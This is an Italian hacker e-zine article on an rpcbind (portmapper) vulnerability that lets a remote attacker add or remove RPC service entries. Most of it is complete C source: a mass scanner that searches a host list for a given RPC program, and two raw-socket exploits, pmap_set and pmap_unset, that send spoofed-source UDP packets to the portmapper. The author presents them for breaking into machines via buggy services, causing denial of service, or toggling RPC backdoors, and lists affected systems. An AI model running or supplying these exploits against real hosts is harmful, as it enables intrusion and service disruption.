============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- -------------------------[ VULNERABiLiTA' di RPCBiND ]------------------------ -----------------------------------[ pIGpEN ]--------------------------------- Attachment: rpc-date.zip CONSUMO : 1 panino con la nutella MUSiCA : Visions of Johanna -- Grateful Dead (fantastica canzone di Bob Dylan in versione Jerry Garcia) SALUTI : ins4ne (colui che non mangia carne 8) In questo articolo vedremo come e' possibile sfruttare una vulnerabilita' presente in alcuni sistemi per alzare e abbassare a proprio piaccimento servizi rpc. In questo numero di BFi e' presente un articolo sulle rpc backdoor... se volete capire un po' di piu' il funzionamento degli rpc guardatelo. Qui presumo che tutti voi sappiate cosa sia un rpc... L'rpcbind non e' altro che quel servizio che permette di dialogare via rpc fornendo il numero di programma e ottenendo quindi il servizio richiesto. Eseguendo per esempio: rpcinfo -p 192.168.1.2 nella mia rete di casa ottengo: program vers proto port 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100005 1 udp 635 mountd 100005 2 udp 635 mountd 100005 1 tcp 635 mountd 100005 2 tcp 635 mountd 100003 2 udp 2049 nfs 100003 2 tcp 2049 nfs Questa e' quindi una lista di tutti i servizi rpc presenti sul mio sistema. Il primo campo (program) indica appunto il numero di programma, che sara' un numero univoco. Il secondo campo e' la versione del prog. Gli altri non credo di doverli spiegare. Tenete conto pero' che non necessariamente avrete dopo port il nome... Vi potrebbe capitare pure un campo vuoto... Mi sembra chiaro che questo non sia un problema perche' il "campo chiave" e' il program. Se volete una lista dei numeri degli rpc guardatevi il file /etc/rpc . Nello speciale natalizio di BFi ho presentato per esempio un rpc.ttdbserver scanner non utilizzabile dai lameroni... in quanto faceva affidamento al nome visibile nel quinto campo... E se quello non fosse stato corretto?!? :) Beh se volete uno scanner che funge al 100% eccovelo... occorre fare una compare sul numero di programma :) /* RPC PROGRAM SCANNER This scanner can find an rpc program thx to its program numbers. If u r looking for a prog number type: cat /etc/rpc ;) pIGpEN/s0ftpj99 */ #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <rpc/rpc.h> #include <rpc/pmap_prot.h> #include <rpc/pmap_clnt.h> int check(char *host); unsigned long int res(char *p); void woopy(int s); void usage(char *s); void scan(char *i, char *o); int RNUMBER; void usage(char *s) { printf("Usage: %s <inputfile> <outputfile> <rpcnumber>\n\n\n\n",s); exit(-1); } void main(int argc, char **argv) { system("clear"); printf("RPC PROGRAM NUMBER FiNDER\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf("Coded by pIGpEN/s0ftpj99\n"); printf("Original scanner coded by BiT'97\n\n\n"); if(argc<4) usage(argv[0]); RNUMBER=atoi(argv[3]); scan(argv[1],argv[2]); } void scan(char *i, char *o) { FILE *iff, *of; char buf[512]; if((iff=fopen(i,"r")) == NULL) return; while(fgets(buf,512,iff) != NULL) { if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0; if(check(buf) && (of=fopen(o,"a")) != NULL) { buf[strlen(buf)+1]=0; buf[strlen(buf)]='\n'; fputs(buf,of); fclose(of); } } fclose(iff); } void woopy(int s) { return; } int check(char *host) { struct sockaddr_in server_addr; struct pmaplist *head = NULL; int sockett = RPC_ANYSOCK; struct timeval minutetimeout; register CLIENT *client; struct rpcent *rpc; server_addr.sin_addr.s_addr=res(host); server_addr.sin_family=AF_INET; server_addr.sin_port = htons(PMAPPORT); minutetimeout.tv_sec = 15; minutetimeout.tv_usec = 0; /* cause clnttcp_create uses connect() */ signal(SIGALRM,woopy); alarm(15); if ((client = clnttcp_create(&server_addr, PMAPPROG, PMAPVERS, &sockett, 50, 500)) == NULL) { alarm(0); signal(SIGALRM,SIG_DFL); return 0; } alarm(0); signal(SIGALRM,SIG_DFL); if (clnt_call(client, PMAPPROC_DUMP, (xdrproc_t) xdr_void, NULL, (xdrproc_t) xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) return 0; if (head != NULL) for (; head != NULL; head = head->pml_next) if((rpc = getrpcbynumber(head->pml_map.pm_prog))) if((rpc->r_number)==RNUMBER){ printf("Rpc Number Found At: %s\n",host); return 1;} return 0; } unsigned long int res(char *p) { struct hostent *h; unsigned long int rv; h=gethostbyname(p); if(h!=NULL) memcpy(&rv,h->h_addr,h->h_length); else rv=inet_addr(p); return rv; } Per esperienza personale e non, vi posso assicurare che quasi tutti i programmi rpc hanno avuto problemi di sicurezza fornendo spesso shell da remoto. Quindi la presenza di un bug rpcbind con la conseguente possibilita' di alzare e abbassare un programma rpc potrebbe garantire di alzare un servizio buggato per poi bucare la macchina oppure abbassare un servizio gia' attivo producendo cosi' un denial of service. Se poi avete una rpc backdoor presente su un sistema potete per esempio renderla disponibile o non attraverso i due sorgenti che presentero' di seguito. Tenete presente che entrambi i source richiedono accesso root per utilizzare raw socket... e offrono (anzi rendono obbligatoria:) la possibilita' di spoofare l'ip sorgente. Attualmente ho provato questo codice sotto RedHat con kernel 2.0.32 di seguito fornisco una lista un po' piu' dettagliata: Linux (Redhat) Irix 6.2 Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to be used with his package, although we are sure he didn't intend for anyone to be able to trivially remove/add entries) Solaris 2.6 (you can only add and delete services inserted remotely) Other version have yet to be tested. The versions of rpcbind that are NOT vulnerable are contained in: Openbsd (confirmed by deraadt@cvs.openbsd.org) Queste info, come i due semplice sorgenti che seguiranno, sono reperibili su rootshell. ---------- snip ---------- /* * pmap_set v1.0 * * Martin Rosa <mrosa@pgci.ca> * * Example usage: * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666 * * This would add to portmapper's list mountd (100005) version 1 on udp * port 666. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. * * Notes: * arnudp v0.01 has been used as skeleton, Arny <cs6171@scitsc.wlv.ac.uk> * */ #include<sys/types.h> #include<sys/socket.h> #include<netinet/in_systm.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<errno.h> #include<string.h> #include<netdb.h> #include<arpa/inet.h> #include<stdio.h> static char rcsid[]="$Id: pmap_set.c,v 1.1 1999/01/09 02:57:33 root Exp$"; main(int argc, char *argv[]) { int fd, x=1, proto; struct sockaddr sa; struct sockaddr_in *sin; struct hostent *he; u_char gram[84]= { /* IP Header */ 0x45, 0x00, 0x54, 0x00, 0x00, 0x26, 0x00, 0x00, 0x36, 0x11, 0x00, 0x00, 0xCE, 0xE7, 0xD2, 0x02, 0xCE, 0xE7, 0xD2, 0x02, /* UDP Header */ 0x03, 0x52, 0x00, 0x6f, 0x00, 0x40, 0x00, 0x00, /* Data */ 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (argc != 7) { fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum] [udp|tcp] [port]\n", *argv); exit(-1); }; proto=strcmp(argv[5], "udp"); if ((he = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Can't resolve source hostname\n"); exit(-1); }; bcopy(*(he->h_addr_list), (gram+12), 4); if ((he = gethostbyname(argv[2])) == NULL) { fprintf(stderr, "Can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list), (gram+16), 4); *(u_long *) (gram + 68) = htonl((u_long) atoi(argv[3])); *(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4])); *(u_long *) (gram + 76) = htonl((u_long) proto==0 ? 17 : 6); *(u_long *) (gram + 80) = htonl((u_long) atoi(argv[6])); sin = (struct sockaddr_in *) &sa; sin->sin_family = AF_INET; bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr)); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("socket"); exit(-1); }; #ifdef IP_HDRINCL if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) { perror("setsockopt IP_HDRINCL"); exit(-1); }; #else fprintf(stderr, "IP_HDRINCL not present.\n"); exit(-1); #endif if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) { perror("sendto"); exit(-1); }; } E per l'unset: /* * pmap_unset v1.0 * * Martin Rosa <mrosa@pgci.ca> * * Example usage: * pmap_unset 127.0.0.1 1.1.1.1 100005 1 * * This would remove mountd (100005) entry from portmapper's list. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. * * Notes: * arnudp v0.01 has been used as skeleton, Arny <cs6171@scitsc.wlv.ac.uk> * */ #include<sys/types.h> #include<sys/socket.h> #include<netinet/in_systm.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<errno.h> #include<string.h> #include<netdb.h> #include<arpa/inet.h> #include<stdio.h> static char rcsid[]="$Id: pmap_unset.c,v 1.1 1999/01/09 02:53:38 root Exp $"; main(int argc, char *argv[]) { int fd, x=1; struct sockaddr sa; struct sockaddr_in *sin; struct hostent *he; u_char gram[84]= { /* IP Header */ 0x45, 0x00, 0x54, 0x00, 0x00, 0x26, 0x00, 0x00, 0x36, 0x11, 0x00, 0x00, 0xCE, 0xE7, 0xD2, 0x02, 0xCE, 0xE7, 0xD2, 0x02, /* UDP Header */ 0x03, 0x52, 0x00, 0x6f, 0x00, 0x40, 0x00, 0x00, /* Data */ 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (argc != 5) { fprintf(stderr, "usage: %s [src ip] [dst ip] [prognum] [versnum]\n", *argv); exit(-1); }; if ((he = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Can't resolve source hostname\n"); exit(-1); }; bcopy(*(he->h_addr_list), (gram+12), 4); if ((he = gethostbyname(argv[2])) == NULL) { fprintf(stderr, "Can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list), (gram+16), 4); *(u_long *) (gram + 68) = htonl((u_long) atoi(argv[3])); *(u_long *) (gram + 72) = htonl((u_long) atoi(argv[4])); sin = (struct sockaddr_in *) &sa; sin->sin_family = AF_INET; bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr)); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("socket"); exit(-1); }; #ifdef IP_HDRINCL if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x)) < 0) { perror("setsockopt IP_HDRINCL"); exit(-1); }; #else fprintf(stderr, "IP_HDRINCL not present.\n"); exit(-1); #endif if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin, sizeof(struct sockaddr))) == -1) { perror("sendto"); exit(-1); }; } E ora spazio alla fantasia... pIGpEN --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================